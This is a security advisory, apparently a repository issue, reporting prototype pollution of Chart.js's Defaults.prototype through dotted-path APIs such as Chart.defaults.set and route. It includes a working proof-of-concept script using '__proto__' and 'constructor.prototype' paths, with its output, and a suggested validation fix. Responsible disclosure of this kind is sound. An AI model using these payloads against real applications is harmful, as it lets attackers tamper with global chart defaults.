Security: Prototype pollution gadget in Chart.defaults path APIs
- Dominant language
- JavaScript
- Stars
- 67.7k
- Forks
- 11.9k
- Avg merge
- 7h 39m
- Merged PRs (30d)
- 5
Description
### Summary
`Chart.defaults` exposes path-based APIs that walk caller-controlled scope strings before key validation is applied. This allows prototype pollution of Chart.js' `Defaults.prototype` via paths such as `__proto__` and `constructor.prototype`.
This does **not** appear to pollute global `Object.prototype`; the pollution is scoped to the `Defaults` prototype used by `Chart.defaults`. It can still alter inherited global defaults for Chart.js in the current JS realm if untrusted input can reach these APIs.
Affected APIs observed:
- `Chart.defaults.set(scope, values)`
- `Chart.defaults.get(scope)` when the returned object is mutated by the caller
- `Chart.defaults.describe(scope, values)` / `Chart.defaults.override(scope, values)` for their internal default descriptor/override roots
- `Chart.defaults.route(scope, name, targetScope, targetName)`
### Affected version
Tested on `chart.js@4.5.1`, currently the latest npm release.
### Root cause
The path walker in `src/core/core.defaults.js` does not reject dangerous path segments:
```js
function getScope(node, key) {
if (!key) {
return node;
}
const keys = key.split('.');
for (let i = 0, n = keys.length; i < n; ++i) {
const k = keys[i];
node = node[k] || (node[k] = Object.create(null));
}
return node;
}
function set(root, scope, values) {
if (typeof scope === 'string') {
return merge(getScope(root, scope), values);
}
return merge(getScope(root, ''), scope);
}
```
`merge()` later rejects dangerous keys such as `__proto__`, `prototype`, and `constructor`, but the dangerous path segment is already dereferenced by `getScope()` before `merge()` runs.
### Reproduction
```js
const {Chart} = require('chart.js');
for (const k of ['xPolluted', 'evilColor', 'routePolluted', '_routePolluted']) {
delete Chart.defaults.constructor.prototype[k];
}
console.log(Chart.version); // 4.5.1
console.log(Chart.defaults.xPolluted); // undefined
Chart.defaults.set('__proto__', {xPolluted: 'via __proto__ path'});
console.log(Chart.defaults.xPolluted); // via __proto__ path
console.log(Object.prototype.hasOwnProperty.call(Chart.defaults, 'xPolluted')); // false
console.log(Chart.defaults.constructor.prototype.xPolluted); // via __proto__ path
Chart.defaults.set('constructor.prototype', {evilColor: '#bad'});
console.log(Chart.defaults.evilColor); // #bad
Chart.defaults.route('__proto__', 'routePolluted', '', 'color');
console.log(Chart.defaults.routePolluted); // #666, inherited getter on Defaults.prototype
console.log(typeof Object.getOwnPropertyDescriptor(
Chart.defaults.constructor.prototype,
'routePolluted'
)?.get === 'function'); // true
```
Observed output from a local run against `chart.js@4.5.1`:
```text
version: 4.5.1
before: undefined
after-set-proto: via __proto__ path
own-defaults: false
prototype-value: via __proto__ path
after-set-constructor-prototype: #bad
route-value: #666
route-is-prototype-getter: true
```
### Impact
This is a prototype-pollution gadget on `Defaults.prototype`, not a demonstrated `Object.prototype` pollution issue.
Practical exploitability depends on whether an application allows untrusted configuration, themes, dashboards, plugins, or remote JSON to control `Chart.defaults` path strings. If the API is only called with hardcoded trusted paths, impact is limited.
If untrusted input can reach these calls, an attacker can add inherited properties or route getters to `Chart.defaults`, changing global Chart.js default resolution for charts in the same page/process.
### Suggested fix
Validate every dotted path segment before walking it. At minimum, reject `__proto__`, `prototype`, and `constructor` in all path-based defaults APIs.
Example direction:
```js
function isValidScopePath(key) {
return !key.split('.').some((part) => (
part === '__proto__' || part === 'prototype' || part === 'constructor'
));
}
function getScope(node, key) {
if (!key) {
return node;
}
if (!isValidScopePath(key)) {
throw new Error(`Invalid defaults scope: ${key}`);
}
const keys = key.split('.');
for (let i = 0, n = keys.length; i < n; ++i) {
const k = keys[i];
node = node[k] || (node[k] = Object.create(null));
}
return node;
}
```
`route(scope, name, targetScope, targetName)` should validate both `scope` and `targetScope`; it would also be safer to reject dangerous `name` and `targetName` values.
### Notes
I did not find evidence that normal chart labels/data reach this path API directly. This report is specifically about the `Chart.defaults` dotted-path API surface.
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.